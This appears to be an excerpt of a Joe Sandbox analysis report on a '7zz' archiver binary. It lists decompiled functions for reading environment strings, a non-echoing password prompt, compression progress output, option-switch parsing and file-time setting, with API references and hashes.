0x00470b2d
0x00470b2f
0x00470b3d
0x00470b40
0x00470b42
0x00470b52
0x00470b5e
0x00470b65
0x00470b6b
0x00470b6f
0x00470b72
0x00470b7a
0x00470b7e
0x00470b8f
0x00470b95
0x00470b9b
0x00470b9b
0x00470b9f
0x00470b9f
0x00470b7e
0x00470ba4
0x00000000
0x00000000
0x00000000
0x00000000
0x00470b44
0x00470b44
0x00470b44
0x00470b45
0x00470b46
0x00470b4c
0x00470b4d
0x00000000
0x00470b44
0x00470b33
0x00470b37
0x00000000
0x00000000
0x00000000
0x00470b37
0x00470af3
0x00470af7
0x00470b0b
0x00470b0f
0x00000000
0x00000000
0x00470b15
0x00000000
0x00470b15
0x00470af9
0x00000000

APIs

GetEnvironmentStringsW.KERNEL32(?,?,?,?,?,?,0046CFE1), ref: 00470AF1
GetEnvironmentStrings.KERNEL32(?,?,?,?,?,?,0046CFE1), ref: 00470B05
GetEnvironmentStringsW.KERNEL32(?,?,?,?,?,?,0046CFE1), ref: 00470B31
WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000001,00000000,00000000,00000000,00000000,?,?,?,?,?,?,0046CFE1), ref: 00470B69
WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,?,00000000,00000000,00000000,00000000,?,?,?,?,?,?,0046CFE1), ref: 00470B8B
FreeEnvironmentStringsW.KERNEL32(00000000,?,?,?,?,?,?,0046CFE1), ref: 00470BA4
GetEnvironmentStrings.KERNEL32(?,?,?,?,?,?,0046CFE1), ref: 00470BB7
FreeEnvironmentStringsA.KERNEL32(00000000), ref: 00470BF5

Memory Dump Source

Source File: 0000000B.00000002.353629100.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.353620656.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353773201.000000000047A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353794533.000000000048A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353810041.000000000048B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353815921.000000000048C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353820295.000000000048D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353830778.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353838498.0000000000499000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_7zz.jbxd

Similarity

API ID: EnvironmentStrings$ByteCharFreeMultiWide
String ID:
API String ID: 1823725401-0
Opcode ID: 7a7fc4c7d9a3cd8b4d9d1daaa4e72bcb1d5b2bbd233c75e03d1c8356a19e3eff
Instruction ID: 27e12e20c1ea4b212add3b7eab65f77fdbffab05a40932be5c7e7487a2d6895d
Opcode Fuzzy Hash: 7a7fc4c7d9a3cd8b4d9d1daaa4e72bcb1d5b2bbd233c75e03d1c8356a19e3eff
Instruction Fuzzy Hash: 9C3105B2406255DFE7307FF89C848BBB6DCEA4571C711453BF559C3200EA29BE8182AE

Uniqueness

Uniqueness Score: -1.00%

Function 004068A1 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 67
COMMON

Download Yara Rule

C-Code - Quality: 94%

			E004068A1(intOrPtr __ecx, void* __edx) {
				void* _t25;
				void* _t41;
				void* _t57;
				void* _t59;

				_t52 = __edx;
				L0046B890(0x4735ac, _t59);
				 *(_t59 - 0x14) =  *(_t59 - 0x14) & 0x00000000;
				_t41 = __edx;
				 *((intOrPtr*)(_t59 - 0x18)) = __ecx;
				E00407CD5(__edx, "\nEnter password (will not be echoed):");
				L00407CAC(__edx);
				_t25 = GetStdHandle(0xfffffff6);
				 *(_t59 - 0xd) =  *(_t59 - 0xd) & 0x00000000;
				 *(_t59 - 0x14) =  *(_t59 - 0x14) & 0x00000000;
				_t57 = _t25;
				if(_t57 != 0xffffffff && _t57 != 0 && GetConsoleMode(_t57, _t59 - 0x14) != 0) {
					 *(_t59 - 0xd) = SetConsoleMode(_t57,  *(_t59 - 0x14) & 0x000000fb) != 0;
				}
				_push(_t59 - 0x24);
				L00407B25(0x490aa8, _t52);
				 *(_t59 - 4) =  *(_t59 - 4) & 0x00000000;
				if( *(_t59 - 0xd) != 0) {
					SetConsoleMode(_t57,  *(_t59 - 0x14));
				}
				E00407CD5(_t41, "\n");
				L00407CAC(_t41);
				L004039C0( *((intOrPtr*)(_t59 - 0x18)), _t59 - 0x24);
				L00407A18( *((intOrPtr*)(_t59 - 0x24)));
				 *[fs:0x0] =  *((intOrPtr*)(_t59 - 0xc));
				return  *((intOrPtr*)(_t59 - 0x18));
			}

0x004068a1
0x004068a6
0x004068ae
0x004068b4
0x004068b6
0x004068c1
0x004068c8
0x004068cf
0x004068d5
0x004068d9
0x004068e3
0x004068e8
0x00406908
0x00406908
0x00406914
0x00406915
0x0040691a
0x00406922
0x00406928
0x00406928
0x00406931
0x00406938
0x00406944
0x0040694c
0x0040695b
0x00406963

APIs

__EH_prolog.LIBCMT ref: 004068A6
GetStdHandle.KERNEL32(000000F6,Enter password (will not be echoed):,?,?), ref: 004068CF
GetConsoleMode.KERNEL32(00000000,00000000,?,?), ref: 004068F3
SetConsoleMode.KERNEL32(00000000,00000000,?,?), ref: 00406904
SetConsoleMode.KERNEL32(00000000,00000000,?,?,?), ref: 00406928

Strings

Enter password (will not be echoed):, xrefs: 004068BA

Memory Dump Source

Source File: 0000000B.00000002.353629100.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.353620656.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353773201.000000000047A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353794533.000000000048A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353810041.000000000048B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353815921.000000000048C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353820295.000000000048D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353830778.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353838498.0000000000499000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_7zz.jbxd

Similarity

API ID: ConsoleMode$H_prologHandle
String ID: Enter password (will not be echoed):
API String ID: 2048311603-3720017889
Opcode ID: e4ab1c20882cafacc2701a80f49a49620683f374bc4d6d7f7edd82a9960cf4b7
Instruction ID: a8b37ca635c045820d6708ef6ebefb29507d7cb9e32fac769124ac422c1f2311
Opcode Fuzzy Hash: e4ab1c20882cafacc2701a80f49a49620683f374bc4d6d7f7edd82a9960cf4b7
Instruction Fuzzy Hash: 1111C671E051099BDB10ABA5CC45BEE77789F44329F10057EE406B22C1CB3C5E1487AA

Uniqueness

Uniqueness Score: -1.00%

Function 00406564 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 47
COMMON

Download Yara Rule

C-Code - Quality: 71%

			E00406564(void* __ecx) {
				void* _t15;
				void* _t18;
				void* _t29;
				void* _t31;

				L0046B890(0x473524, _t31);
				_push(__ecx);
				_t29 = __ecx;
				 *(_t31 - 0x10) = 0x490a88;
				EnterCriticalSection(0x490a88);
				 *(_t31 - 4) =  *(_t31 - 4) & 0x00000000;
				if( *((char*)(_t29 + 0x39)) == 0) {
					_t18 = _t29 + 8;
					if( *((char*)(_t31 + 0xc)) == 0) {
						_push("Compressing  ");
					} else {
						_push("Anti item    ");
					}
					E0040608D(_t18);
					_t13 =  *((intOrPtr*)(_t31 + 8));
					if( *((short*)( *((intOrPtr*)(_t31 + 8)))) == 0) {
						_t13 =  *0x48b344; // 0x48b388
					}
					E004060A5(_t18, _t13);
					if( *((char*)(_t29 + 0x38)) != 0) {
						E004060D4(_t18);
					}
					LeaveCriticalSection(0x490a88);
					_t15 = 0;
				} else {
					LeaveCriticalSection(0x490a88);
					_t15 = 0;
				}
				 *[fs:0x0] =  *((intOrPtr*)(_t31 - 0xc));
				return _t15;
			}

0x00406569
0x0040656e
0x00406576
0x00406579
0x0040657c
0x00406582
0x0040658a
0x0040659c
0x0040659f
0x004065a8
0x004065a1
0x004065a1
0x004065a1
0x004065af
0x004065b4
0x004065bb
0x004065bd
0x004065bd
0x004065c5
0x004065ce
0x004065d2
0x004065d2
0x004065d8
0x004065de
0x0040658c
0x0040658d
0x00406593
0x00406593
0x004065e6
0x004065ee

APIs

__EH_prolog.LIBCMT ref: 00406569
EnterCriticalSection.KERNEL32(00490A88), ref: 0040657C
LeaveCriticalSection.KERNEL32(00490A88), ref: 0040658D
LeaveCriticalSection.KERNEL32(00490A88), ref: 004065D8

Strings

Anti item , xrefs: 004065A1
Compressing , xrefs: 004065A8

Memory Dump Source

Source File: 0000000B.00000002.353629100.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.353620656.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353773201.000000000047A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353794533.000000000048A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353810041.000000000048B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353815921.000000000048C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353820295.000000000048D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353830778.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353838498.0000000000499000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_7zz.jbxd

Similarity

API ID: CriticalSection$Leave$EnterH_prolog
String ID: Anti item $Compressing
API String ID: 2532973370-3992608634
Opcode ID: a4d77a2cb10ab5a3c8563fdb07b5886aea9a05d8824471b2f091ec8e7e6115ac
Instruction ID: 580c09916b0a3b3df052708d1afcafaf12a43b80893965563734f36f16cd3c83
Opcode Fuzzy Hash: a4d77a2cb10ab5a3c8563fdb07b5886aea9a05d8824471b2f091ec8e7e6115ac
Instruction Fuzzy Hash: 6D01B571A00244BFDB21EF25DC85B6EB7E4AF49314F01483FE047A65D1C7BC99548769

Uniqueness

Uniqueness Score: -1.00%

Function 004256CE Relevance: 9.1, APIs: 1, Strings: 4, Instructions: 374
COMMON

Download Yara Rule

C-Code - Quality: 89%

			E004256CE(void* __ecx) {
				void* __edi;
				void* __esi;
				intOrPtr _t148;
				signed int _t149;
				intOrPtr _t153;
				signed int _t155;
				signed int _t158;
				intOrPtr* _t160;
				signed int* _t161;
				void* _t163;
				signed int _t178;
				signed int _t182;
				signed int* _t183;
				signed int _t195;
				signed int _t197;
				signed int _t198;
				signed int _t199;
				signed int _t200;
				signed int _t201;
				signed int _t202;
				signed int _t203;
				signed int _t204;
				signed int _t205;
				signed int _t206;
				signed int _t207;
				void* _t209;
				signed int _t213;
				intOrPtr* _t218;
				signed int _t220;
				void* _t223;
				intOrPtr _t236;
				signed int _t237;
				void* _t273;
				signed int* _t299;
				intOrPtr _t306;
				intOrPtr _t307;
				signed int _t313;
				signed int _t315;
				void* _t316;

				L0046B890(E004765A8, _t316);
				_t311 = __ecx;
				L00403532(_t316 - 0x20,  *((intOrPtr*)(_t316 + 8)));
				_t305 = 0;
				 *((intOrPtr*)(_t316 - 4)) = 0;
				L00407ED0( *((intOrPtr*)(_t316 - 0x20)));
				if( *(_t316 - 0x1c) != 0) {
					_t228 =  *((intOrPtr*)(_t316 - 0x20));
					_t148 =  *((intOrPtr*)( *((intOrPtr*)(_t316 - 0x20))));
					__eflags = _t148 - 0x58;
					if(_t148 != 0x58) {
						__eflags = _t148 - 0x53;
						if(_t148 != 0x53) {
							_t149 = E00408053(_t228, L"CRC");
							__eflags = _t149;
							if(_t149 != 0) {
								_t220 = E004263BA(_t316 - 0x20, _t316 - 0x10);
								L004072C9(_t316 - 0x20, _t316 - 0x2c, _t220);
								__eflags = _t220;
								 *((char*)(_t316 - 4)) = 1;
								if(_t220 != 0) {
									L42:
									__eflags =  *(_t316 - 0x10) - 0x2710;
									if( *(_t316 - 0x10) <= 0x2710) {
										_t153 =  *((intOrPtr*)(_t311 + 0x44));
										__eflags =  *(_t316 - 0x10) - _t153;
										if( *(_t316 - 0x10) >= _t153) {
											_t306 =  *((intOrPtr*)(_t311 + 0x10));
											 *(_t316 - 0x10) =  *(_t316 - 0x10) - _t153;
											__eflags = _t306 -  *(_t316 - 0x10);
											if(_t306 >  *(_t316 - 0x10)) {
												L49:
												_t307 =  *((intOrPtr*)( *((intOrPtr*)(_t311 + 0x14)) +  *(_t316 - 0x10) * 4));
												__eflags =  *(_t316 - 0x28);
												 *((intOrPtr*)(_t316 - 0x14)) = _t307;
												if( *(_t316 - 0x28) != 0) {
													_t155 = E00425B6E(_t316 - 0x2c);
													__eflags = _t155;
													if(_t155 < 0) {
														L60:
														L00407A18( *((intOrPtr*)(_t316 - 0x2c)));
														L00407A18( *((intOrPtr*)(_t316 - 0x20)));
														_t158 = 0x80070057;
														goto L73;
													}
													 *((short*)(_t316 - 0x48)) = 0;
													 *((short*)(_t316 - 0x46)) = 0;
													_t160 = 0x48c9b0 + (_t155 + _t155 * 2) * 4;
													_t236 =  *_t160;
													 *((char*)(_t316 - 4)) = 7;
													__eflags = _t236 - 4;
													 *((intOrPtr*)(_t316 - 0x50)) = _t236;
													if(_t236 == 4) {
														L61:
														_t161 =  *(_t160 + 8);
														_t237 = 0;
														__eflags = 0;
														while(1) {
															__eflags =  *_t161;
															if( *_t161 == 0) {
																break;
															}
															_t237 = _t237 + 1;
															_t161 =  &(_t161[0]);
														}
														_t163 = L004072C9(_t316 - 0x2c, _t316 - 0x38, _t237);
														_push(_t316 + 8);
														 *((char*)(_t316 - 4)) = 8;
														_t305 = E00426261(_t163,  *(_t316 + 0xc), _t311);
														 *((char*)(_t316 - 4)) = 7;
														L00407A18( *((intOrPtr*)(_t316 - 0x38)));
														__eflags = _t305;
														if(_t305 == 0) {
															E0040C1A0(_t316 - 0x48,  *((intOrPtr*)(_t316 + 8)));
															__eflags =  *(_t316 - 0x10) -  *((intOrPtr*)(_t311 + 0x50));
															if( *(_t316 - 0x10) <=  *((intOrPtr*)(_t311 + 0x50))) {
																 *((intOrPtr*)(_t311 + 0x4c)) =  *((intOrPtr*)(_t316 + 8));
															}
															L69:
															_push(_t316 - 0x50);
															E00425C04( *((intOrPtr*)(_t316 - 0x14)));
															 *((char*)(_t316 - 4)) = 1;
															E0040C20F(_t316 - 0x48);
															L70:
															_t313 = 0;
															__eflags = 0;
															L71:
															L00407A18( *((intOrPtr*)(_t316 - 0x2c)));
															goto L72;
														}
														 *((char*)(_t316 - 4)) = 1;
														E0040C20F(_t316 - 0x48);
														L66:
														L00407A18( *((intOrPtr*)(_t316 - 0x2c)));
														L00407A18( *((intOrPtr*)(_t316 - 0x20)));
														_t158 = _t305;
														goto L73;
													}
													__eflags = _t236 - 1;
													if(_t236 == 1) {
														goto L61;
													}
													__eflags = _t236 - 2;
													if(_t236 == 2) {
														goto L61;
													}
													_t178 = E0042518A(_t316 - 0x2c);
													__eflags = _t178;
													if(_t178 < 0) {
														L59:
														 *((char*)(_t316 - 4)) = 1;
														E0040C20F(_t316 - 0x48);
														goto L60;
													}
													_t180 = _t178 + _t178 * 2;
													asm("movsd");
													asm("movsd");
													asm("movsd");
													 *((intOrPtr*)(_t316 - 0x50)) =  *((intOrPtr*)(0x48c9b0 + (_t178 + _t178 * 2) * 4));
													asm("movsd");
													_t182 = E00425124( *((intOrPtr*)(0x48c9b0 + _t180 * 4 + 4)), _t316 - 0x48);
													__eflags = _t182;
													if(_t182 != 0) {
														goto L69;
													}
													goto L59;
												}
												_t183 =  *(_t316 + 0xc);
												__eflags =  *_t183 - 8;
												if( *_t183 != 8) {
													goto L45;
												}
												L00403532(_t316 - 0x38, _t183[2]);
												_push(_t316 - 0x38);
												_push(_t307);
												 *((char*)(_t316 - 4)) = 6;
												_t313 = E004251BA(_t311, __eflags);
												L00407A18( *((intOrPtr*)(_t316 - 0x38)));
												__eflags = _t313;
												if(_t313 == 0) {
													goto L70;
												}
												goto L71;
											}
											_t223 = _t311 + 8;
											do {
												E00405B9F(_t316 - 0x58);
												 *((intOrPtr*)(_t316 - 0x58)) = 0x47b178;
												 *((char*)(_t316 - 4)) = 4;
												L0040351A(_t316 - 0x44);
												_push(_t316 - 0x58);
												 *((char*)(_t316 - 4)) = 5;
												E00425C5B(_t223, _t306);
												 *((char*)(_t316 - 4)) = 1;
												E00422D4A(_t316 - 0x58);
												_t306 = _t306 + 1;
												__eflags = _t306 -  *(_t316 - 0x10);
											} while (_t306 <=  *(_t316 - 0x10));
											goto L49;
										}
										L45:
										_t313 = 0x80070057;
										goto L71;
									}
									_t313 = 0x80004005;
									goto L71;
								}
								L00407399(_t316 - 0x20, _t316 - 0x38, 2);
								 *((char*)(_t316 - 4)) = 2;
								_t195 = E0040807A(0x48c4a8);
								__eflags = _t195;
								 *((char*)(_t316 - 4)) = 1;
								L00407A18( *((intOrPtr*)(_t316 - 0x38)));
								__eflags = _t220 & 0xffffff00 | _t195 == 0x00000000;
								if((_t220 & 0xffffff00 | _t195 == 0x00000000) == 0) {
									_t197 = E0040807A(L"RSFX");
									__eflags = _t197;
									if(_t197 != 0) {
										_t198 = E0040807A("F");
										__eflags = _t198;
										if(_t198 != 0) {
											_t199 = E0040807A(L"HC");
											__eflags = _t199;
											if(_t199 != 0) {
												_t200 = E0040807A(L"HCF");
												__eflags = _t200;
												if(_t200 != 0) {
													_t201 = E0040807A(L"HE");
													__eflags = _t201;
													if(_t201 != 0) {
														_t202 = E0040807A(L"TC");
														__eflags = _t202;
														if(_t202 != 0) {
															_t203 = E0040807A(L"TA");
															__eflags = _t203;
															if(_t203 != 0) {
																_t204 = E0040807A(L"TM");
																__eflags = _t204;
																if(_t204 != 0) {
																	_t205 = E0040807A(0x48bb98);
																	__eflags = _t205;
																	if(_t205 != 0) {
																		 *(_t316 - 0x10) = 0;
																		goto L42;
																	}
																	_t299 =  *(_t316 + 0xc);
																	_t273 = _t311 + 0x40;
																	L34:
																	_t206 = E0042633E(_t273, _t299);
																	L30:
																	_t313 = _t206;
																	goto L71;
																}
																_t299 =  *(_t316 + 0xc);
																_t273 = _t311 + 0x37;
																goto L34;
															}
															_t299 =  *(_t316 + 0xc);
															_t273 = _t311 + 0x36;
															goto L34;
														}
														_t299 =  *(_t316 + 0xc);
														_t273 = _t311 + 0x35;
														goto L34;
													}
													_t206 = E0042633E(_t311 + 0x34,  *(_t316 + 0xc));
													__eflags = _t206;
													if(_t206 == 0) {
														 *((char*)(_t311 + 0x33)) = 1;
														goto L70;
													}
													goto L30;
												}
												 *((char*)(_t316 + 0xb)) = 1;
												_t207 = E0042633E(_t316 + 0xb,  *(_t316 + 0xc));
												__eflags = _t207;
												if(_t207 == 0) {
													__eflags =  *((char*)(_t316 + 0xb));
													if( *((char*)(_t316 + 0xb)) == 0) {
														_t305 = 0x80070057;
													}
												} else {
													_t305 = _t207;
												}
												goto L66;
											}
											_t299 =  *(_t316 + 0xc);
											_t273 = _t311 + 0x32;
											goto L34;
										}
										_t299 =  *(_t316 + 0xc);
										_t273 = _t311 + 0x38;
										goto L34;
									}
									_t299 =  *(_t316 + 0xc);
									_t273 = _t311 + 0x1c;
									goto L34;
								}
								_t209 = L004072C9(_t316 - 0x20, _t316 - 0x38, 2);
								 *((char*)(_t316 - 4)) = 3;
								_t313 = E004263EB(_t209,  *(_t316 + 0xc),  *((intOrPtr*)(_t311 + 0x48)), _t311);
								L00407A18( *((intOrPtr*)(_t316 - 0x38)));
								__eflags = _t313;
								if(_t313 != 0) {
									goto L71;
								}
								goto L70;
							}
							_t315 = __ecx + 4;
							__eflags = _t315;
							 *_t315 = 4;
							L004075A5(_t316 - 0x20, 0, 3);
							_push(_t315);
							goto L12;
						}
						L004075A5(_t316 - 0x20, 0, 1);
						__eflags =  *(_t316 - 0x1c);
						if( *(_t316 - 0x1c) != 0) {
							__eflags =  *( *(_t316 + 0xc));
							if( *( *(_t316 + 0xc)) != 0) {
								goto L1;
							}
							_push(_t316 - 0x20);
							_t213 = E0042547B(__ecx);
						} else {
							_push( *(_t316 + 0xc));
							_t213 = E00425585(__ecx);
						}
						goto L7;
					} else {
						L004075A5(_t316 - 0x20, 0, 1);
						_t218 = __ecx + 0x3c;
						_push(_t218);
						 *_t218 = 9;
						L12:
						_t213 = E00426145(_t316 - 0x20,  *(_t316 + 0xc));
						L7:
						_t313 = _t213;
						L72:
						L00407A18( *((intOrPtr*)(_t316 - 0x20)));
						_t158 = _t313;
						L73:
						 *[fs:0x0] =  *((intOrPtr*)(_t316 - 0xc));
						return _t158;
					}
				}
				L1:
				_t313 = 0x80070057;
				goto L72;
			}

0x004256d3
0x004256de
0x004256e6
0x004256ee
0x004256f0
0x004256f3
0x004256fb
0x00425707
0x0042570a
0x0042570d
0x00425711
0x0042572a
0x0042572e
0x0042576b
0x00425770
0x00425772
0x004257a1
0x004257ab
0x004257b0
0x004257b2
0x004257b6
0x00425957
0x00425957
0x0042595e
0x0042596a
0x0042596d
0x00425970
0x0042597c
0x0042597f
0x00425982
0x00425985
0x004259c6
0x004259ce
0x004259d1
0x004259d4
0x004259d7
0x00425a18
0x00425a1d
0x00425a1f
0x00425a97
0x00425a9a
0x00425aa2
0x00425aa8
0x00000000
0x00425aad
0x00425a24
0x00425a28
0x00425a2c
0x00425a33
0x00425a35
0x00425a39
0x00425a3c
0x00425a3f
0x00425ab3
0x00425ab3
0x00425ab6
0x00425ab6
0x00425ab8
0x00425ab8
0x00425abb
0x00000000
0x00000000
0x00425abd
0x00425abf
0x00425abf
0x00425aca
0x00425ad5
0x00425ad8
0x00425ae4
0x00425ae6
0x00425aea
0x00425aef
0x00425af2
0x00425b1c
0x00425b24
0x00425b27
0x00425b2c
0x00425b2c
0x00425b2f
0x00425b35
0x00425b36
0x00425b3e
0x00425b42
0x00425b47
0x00425b47
0x00425b47
0x00425b49
0x00425b4c
0x00000000
0x00425b51
0x00425af7
0x00425afb
0x00425b00
0x00425b03
0x00425b0b
0x00425b11
0x00000000
0x00425b13
0x00425a41
0x00425a44
0x00000000
0x00000000
0x00425a46
0x00425a49
0x00000000
0x00000000
0x00425a4e
0x00425a53
0x00425a55
0x00425a8b
0x00425a8e
0x00425a92
0x00000000
0x00425a92
0x00425a5f
0x00425a62
0x00425a71
0x00425a72
0x00425a73
0x00425a7d
0x00425a7e
0x00425a83
0x00425a85
0x00000000
0x00000000
0x00000000
0x00425a85
0x004259d9
0x004259dc
0x004259e0
0x00000000
0x00000000
0x004259e8
0x004259f2
0x004259f3
0x004259f4
0x00425a00
0x00425a02
0x00425a07
0x00425a0a
0x00000000
0x00000000
0x00000000
0x00425a10
0x00425987
0x0042598a
0x0042598d
0x00425992
0x0042599c
0x004259a0
0x004259aa
0x004259ab
0x004259af
0x004259b7
0x004259bb
0x004259c0
0x004259c1
0x004259c1
0x00000000
0x0042598a
0x00425972
0x00425972
0x00000000
0x00425972
0x00425960
0x00000000
0x00425960
0x004257c5
0x004257d1
0x004257d5
0x004257dd
0x004257e2
0x004257e6
0x004257eb
0x004257ee
0x00425830
0x00425835
0x00425837
0x0042584c
0x00425851
0x00425853
0x00425868
0x0042586d
0x0042586f
0x00425884
0x00425889
0x0042588b
0x004258c3
0x004258c8
0x004258ca
0x004258f3
0x004258f8
0x004258fa
0x00425911
0x00425916
0x00425918
0x0042592a
0x0042592f
0x00425931
0x00425943
0x00425948
0x0042594a
0x00425954
0x00000000
0x00425954
0x0042594c
0x0042594f
0x00425902
0x00425902
0x004258db
0x004258db
0x00000000
0x004258db
0x00425933
0x00425936
0x00000000
0x00425936
0x0042591a
0x0042591d
0x00000000
0x0042591d
0x004258fc
0x004258ff
0x00000000
0x004258ff
0x004258d2
0x004258d7
0x004258d9
0x004258e2
0x00000000
0x004258e2
0x00000000
0x004258d9
0x00425893
0x00425897
0x0042589c
0x0042589e
0x004258a7
0x004258ab
0x004258b1
0x004258b1
0x004258a0
0x004258a0
0x004258a0
0x00000000
0x0042589e
0x00425871
0x00425874
0x00000000
0x00425874
0x00425855
0x00425858
0x00000000
0x00425858
0x00425839
0x0042583c
0x00000000
0x0042583c
0x004257f9
0x00425807
0x00425813
0x00425815
0x0042581a
0x0042581d
0x00000000
0x00000000
0x00000000
0x00425823
0x00425774
0x00425774
0x0042577d
0x00425783
0x00425788
0x00000000
0x00425788
0x00425736
0x0042573b
0x0042573e
0x00425754
0x00425757
0x00000000
0x00000000
0x0042575e
0x0042575f
0x00425740
0x00425740
0x00425745
0x00425745
0x00000000
0x00425713
0x00425719
0x0042571e
0x00425721
0x00425722
0x00425789
0x0042578f
0x0042574a
0x0042574a
0x00425b52
0x00425b55
0x00425b5b
0x00425b5d
0x00425b62
0x00425b6b
0x00425b6b
0x00425711
0x004256fd
0x004256fd
0x00000000

APIs

__EH_prolog.LIBCMT ref: 004256D3

Part of subcall function 00407ED0: __EH_prolog.LIBCMT ref: 00407ED5

Strings

CRC, xrefs: 00425766
RSFX, xrefs: 0042582B
HCF, xrefs: 0042587F
-B, xrefs: 00425992

Memory Dump Source

Source File: 0000000B.00000002.353629100.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.353620656.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353773201.000000000047A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353794533.000000000048A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353810041.000000000048B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353815921.000000000048C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353820295.000000000048D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353830778.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 0000000B.00000002.353838498.0000000000499000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_7zz.jbxd

Similarity

API ID: H_prolog
String ID: CRC$HCF$RSFX$-B
API String ID: 3519838083-950596765
Opcode ID: 474cd8cf904d7f3c27e8160fd81cc4e9dda077ce7626aaf2142c4045fb265860
Instruction ID: 6c3dbe44b38eb95146665e90f90a400f3930304e0ccaa8816579fca9b7e0a093
Opcode Fuzzy Hash: 474cd8cf904d7f3c27e8160fd81cc4e9dda077ce7626aaf2142c4045fb265860
Instruction Fuzzy Hash: 94E1C230A00529DBCF10EB95E8919EEB771EF44314FA0852FE44277291DB7CAA45CB6A

Uniqueness

Uniqueness Score: -1.00%

Function 004098CF Relevance: 9.1, APIs: 6, Instructions: 73
filetimeCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E004098CF(WCHAR* __ecx, FILETIME* __edx) {
				void* _t26;
				signed int _t27;
				signed int _t37;
				void* _t52;

				L0046B890(0x473a10, _t52);
				 *(_t52 - 0x18) = __edx;
				 *((intOrPtr*)(_t52 - 0x14)) = __ecx;
				if( *0x490a7c != 0) {
					_t26 = CreateFileW(__ecx, 0x40000000, 3, 0, 3, 0x2000000, 0);
					 *(_t52 - 0x10) = _t26;
					if(_t26 == 0xffffffff) {
						 *(_t52 - 0x24) = 0;
						 *((intOrPtr*)(_t52 - 0x20)) = 0;
						 *((intOrPtr*)(_t52 - 0x1c)) = 0;
						E00401E9A(_t52 - 0x24, 3);
						 *(_t52 - 4) =  *(_t52 - 4) & 0x00000000;
						if(L0040B863(_t52 - 0x24) != 0) {
							 *(_t52 - 0x10) = CreateFileW( *(_t52 - 0x24), 0x40000000, 3, 0, 3, 0x2000000, 0);
						}
						L00407A18( *(_t52 - 0x24));
					}
					_t37 = 0;
					if( *(_t52 - 0x10) != 0xffffffff) {
						_t37 = 0 | SetFileTime( *(_t52 - 0x10),  *(_t52 - 0x18),  *(_t52 + 8),  *(_t52 + 0xc)) != 0x00000000;
						CloseHandle( *(_t52 - 0x10));
					}
					_t27 = _t37;
				} else {
					SetLastError(0x78);
					_t27 = 0;
				}
				 *[fs:0x0] =  *((intOrPtr*)(_t52 - 0xc));
				return _t27;
			}

0x004098d4
0x004098e3
0x004098e6
0x004098e9
0x00409918
0x0040991d
0x00409920
0x00409929
0x0040992c
0x0040992f
0x00409932
0x0040993a
0x00409948
0x00409959
0x00409959
0x0040995f
0x00409964
0x00409965
0x0040996b
0x00409984
0x00409987
0x00409987
0x0040998e
0x004098eb
0x004098ed
0x004098f3
0x004098f3
0x00409995
0x0040999d

APIs

__EH_prolog.LIBCMT ref: 004098D4
SetLastError.KERNEL32(00000078), ref: 004098ED
CreateFileW.KERNEL32(?,40000000,00000003,00000000,00000003,02000000,00000000), ref: 00409918
CreateFileW.KERNEL32(?,40000000,00000003,00000000,00000003,02000000,00000000,00000003,?,40000000,00000003,00000000,00000003,02000000,00000000), ref: 00409957
SetFileTime.KERNEL32(000000FF,?,?,?,?,40000000,00000003,00000000,00000003,02000000,00000000), ref: 00409979
CloseHandle.KERNEL32(000000FF,?,40000000,00000003,00000000,00000003,02000000,00000000), ref: 00409987

